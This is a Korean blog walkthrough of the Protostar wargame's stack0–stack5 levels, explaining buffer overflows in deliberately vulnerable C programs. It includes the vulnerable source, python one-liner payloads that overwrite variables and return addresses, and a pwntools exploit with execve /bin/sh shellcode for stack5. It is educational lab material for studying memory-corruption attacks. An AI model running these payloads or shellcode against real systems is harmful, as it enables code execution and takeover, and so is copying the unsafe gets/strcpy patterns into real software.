Security&Hacking/시스템 해킹

프로토스타

Dior2ky 2020. 5. 4. 16:45
반응형

프로토스타

프로토스타는 시스템 해킹에 대해 단계별로 문제를 만들어 놓은 것으로 

단계적으로 공부하기에 좋다.

이번에는 스택 오버플로우에 관한 문제들을 풀어보도록 한다.

 

stack0

stack0의 코드이다. 

#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>

int main(int argc, char **argv)
{
  volatile int modified;
  char buffer[64];

  modified = 0;
  gets(buffer);

  if(modified != 0) {
      printf("you have changed the 'modified' variable\n");
  } else {
      printf("Try again?\n");
  }
}

코드 내용을 보면 입력을 받을 때 64개를 넘어 modified가 int값이므로 4글자를 더 넣어주면 덮어질 것으로 보인다.

python -c "print 'A'*68"

위 명령어를 통해 문자열을 만들고 나온 문자열을 넣어준다.

modified 변수가 덮어진 것을 확인할 수 있다.

 

stack1

stack1의 코드이다.

#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

int main(int argc, char **argv)
{
  volatile int modified;
  char buffer[64];

  if(argc == 1) {
      errx(1, "please specify an argument\n");
  }

  modified = 0;
  strcpy(buffer, argv[1]);

  if(modified == 0x61626364) {
      printf("you have correctly got the variable to the right value\n");
  } else {
      printf("Try again, you got 0x%08x\n", modified);
  }
}

이번에는 인자로 값을 받고 있고 modified 변수에 특정 값을 넣어주어야 한다. 

 

0x61626364가 들어가야 하므로 'A'*64+'dcba'를 인자로 주도록 한다.

성공 메세지가 나오게 된다.

 

stack2

stack2의 코드이다.

#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

int main(int argc, char **argv)
{
  volatile int modified;
  char buffer[64];
  char *variable;

  variable = getenv("GREENIE");

  if(variable == NULL) {
      errx(1, "please set the GREENIE environment variable\n");
  }

  modified = 0;

  strcpy(buffer, variable);

  if(modified == 0x0d0a0d0a) {
      printf("you have correctly modified the variable\n");
  } else {
      printf("Try again, you got 0x%08x\n", modified);
  }

}

이번에는 환경변수의 값을 가져오고 있다. 

그 값이 64개의 문자 + 0x0d0a0d0a가 되어야 한다.

0d0a는 특수 문자로 CRLF 이다.

환경변수를 python을 통해 넘겨주고 파일을 실행해준다.

성공 메세지를 볼 수 있다.

 

stack3 

stack3의 코드는 다음과 같다.

#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

void win()
{
  printf("code flow successfully changed\n");
}

int main(int argc, char **argv)
{
  volatile int (*fp)();
  char buffer[64];

  fp = 0;

  gets(buffer);

  if(fp) {
      printf("calling function pointer, jumping to 0x%08x\n", fp);
      fp();
  }
}

이번에는 fp의 값을 win 함수의 주소 값으로 덮어서 win함수가 실행되도록 해야한다.

gdb를 통해 win 함수의 주소를 알아낸다. 

이제 아무 값이나 64개의 값을 넣어주고 다음 4자리를 win 함수의 주소로 채워준다.

python -c "print 'A'*64 + '\x24\x84\x04\x08'" | ./stack3

이번에는 pipe를 사용하여 인자를 넘겨주었다. 

성공 메세지가 나오는 것을 확인할 수 있다.

 

stack4

stack4의 코드이다.

#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

void win()
{
  printf("code flow successfully changed\n");
}

int main(int argc, char **argv)
{
  char buffer[64];

  gets(buffer);
}

이번에는 입력을 받아서 버퍼 오버플로우를 일으키고 ret 값을 win 함수의 주소로 덮어주어야 한다.

main함수를 실행하자마자 esp 레지스터의 값을 확인하면 돌아갈 리턴 값이 나온다.

이후 프로그램을 실행시켜 A 64개를 넣은 후

리턴 되기 전에 eax 레지스터의 값을 살펴보면 리턴 값이 저장된 곳이 있다. 

그 부분을 win 함수의 주소로 변경시켜 준다.

여기서는 64바이트의 크기를 받고 뒤로 12바이트를 더 받은 후에 받는 값이 리턴 값으로 들어가게 된다.

따라서 다음 코드를 사용한다.

python -c "print 'A'*76 + '\xf4\x83\x04\x08'" | ./stack4

성공 메세지가 나오는 것을 확인할 수 있다.

 

stack5

stack5의 코드이다.

#include <stdlib.h>
#include <unistd.h>
#include <stdio.h>
#include <string.h>

int main(int argc, char **argv)
{
  char buffer[64];

  gets(buffer);
}

이번에는 쉘코드를 이용해서 쉘을 얻는것이 목표이다. 

이전 단계와 마찬가지로 진행하면 동일하게 76byte 후에 리턴 값이 나오고 이 리턴값에 쉘코드 주소를 넣어주면 된다.

쉘코드는 리턴값 뒤에 배치하고 리턴값의 주소는 그 주소로 만들어주었다. 

이번엔 파이썬 파일로 만들어서 실행해주었다.

from pwn import *

offset = 76
ret_addr = p32(0xffffd360)
buf = b""
buf += b"\x6a\x0b\x58\x99\x52\x66\x68\x2d\x63\x89\xe7\x68\x2f"
buf += b"\x73\x68\x00\x68\x2f\x62\x69\x6e\x89\xe3\x52\xe8\x08"
buf += b"\x00\x00\x00\x2f\x62\x69\x6e\x2f\x73\x68\x00\x57\x53"
buf += b"\x89\xe1\xcd\x80"

payload = b'A'*76 + ret_addr + buf

p = process('./stack5')

p.sendline(payload)
p.interactive()

A 76개 후에 리턴주소가 나오고 해당 값이 들어 있는 주소 바로 다음으로 설정해준다.

그 뒤에 쉘코드를 입력해서 리턴이 되면 쉘코드로 넘어가게 해준다.

빨간 $ 표시가 나오게 되고 이게 쉘을 얻은것이다. 

명령어를 입력하면 제대로 입력되고 값이 나오는 것을 확인할 수 있다.

 

반응형

'Security&Hacking > 시스템 해킹' 카테고리의 다른 글

리눅스 GDB  (0) 2020.05.04
스택 오버플로우  (0) 2020.05.03
취약점 점검 도구 Nessus  (0) 2020.05.03
웹 애플리케이션 취약점 CVE-2017-5638  (0) 2020.05.03
해커스쿨 ftz level20 (macOS)  (0) 2020.01.19